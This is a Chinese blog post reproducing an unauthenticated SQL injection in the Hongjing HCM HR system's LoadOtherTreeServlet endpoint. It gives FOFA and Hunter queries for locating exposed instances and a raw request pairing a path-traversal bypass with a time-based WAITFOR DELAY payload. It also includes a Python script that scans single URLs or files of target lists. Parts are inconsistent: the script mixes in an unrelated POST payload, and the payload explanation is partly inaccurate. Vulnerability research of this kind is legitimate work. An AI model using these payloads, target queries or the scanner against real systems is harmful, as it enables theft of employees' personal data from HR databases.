【漏洞复现】宏景HCM人力资源信息管理系统——LoadOtherTreeServlet——SQL注入

发布于:2024-07-13 ⋅ 阅读:(54) ⋅ 点赞:(0)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,旨在帮助企事业单位构建高绩效组织,推动组织健康成长,提升组织软实力。其LoadOtherTreeServlet接口处对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,未授权的攻击者可获取数据库敏感信息。

漏洞复现

1)信息收集
fofa:app="HJSOFT-HCM"
hunter:app.name="宏景 HCM"
在这里插入图片描述
如果一开始就是一种错误,那么为什么,它会错的那样美丽。
在这里插入图片描述
2)构造数据包

GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host:ip

payload解析:

1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--

解码后为:

1);WAITFOR DELAY '0:0:4'--

具体来说,这个payload的组成部分解释如下:

  • 1%29:是一个编码,其中%29是URL编码的右括号)1表示一个数字或一个占位符。
  • %3B:这是URL编码的分号;,通常用来分隔SQL语句中的多个命令。
  • WAITFOR:这是SQL Server的T-SQL语言中的一个命令,用于使SQL Server等待一个指定的时间或直到一个条件满足。
  • DELAY:这可能是WAITFOR命令中的一个参数,表示等待的时间。
  • %270%3A0%3A4%27--:这部分经过URL编码,解码后是'0:0:4'--。这里的'--是SQL注释的开始,用来注释掉后面的代码。而0:0:4可能是一个时间值,表示等待4秒。

在这里插入图片描述
响应延迟了4秒,存在sql注入漏洞

测试工具

python-poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义红色和重置终端输出格式的常量
RED = '\033[91m'
RESET = '\033[0m'

def check_vulnerability(url):
    """
    检查给定URL是否存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞。
    
    参数:
    url (str): 要检查的URL。
    """
    try:
        # 构造攻击URL,用于测试漏洞存在性
        attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"
        attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""

        # 设置请求头,指定数据格式为表单提交
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        # 记录请求开始时间
        start_time = time.time()
        # 发送POST请求,不验证SSL证书,设置超时时间为10秒
        response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)
        # 计算请求耗时
        elapsed_time = time.time() - start_time

        # 如果请求耗时在4到6秒之间,判断为可能存在漏洞
        if 4 < elapsed_time < 6:
            print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        # 请求超时,提示可能存在漏洞
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        # 请求异常,打印错误信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口。
    
    使用argparse模块解析命令行参数,支持指定单个URL或包含URL的文件。
    对每个URL调用check_vulnerability函数进行漏洞检查。
    """
    parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:
        # 如果指定了URL,确保其以http://或https://开头,否则添加http://
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:
        # 如果指定了文件,读取文件中的每个URL进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行过程:
在这里插入图片描述


祈愿万家灯火熨烫过脉络,刀山与火海多深刻,都陪你渡过。


网站公告

今日签到

点亮在社区的每一天
去签到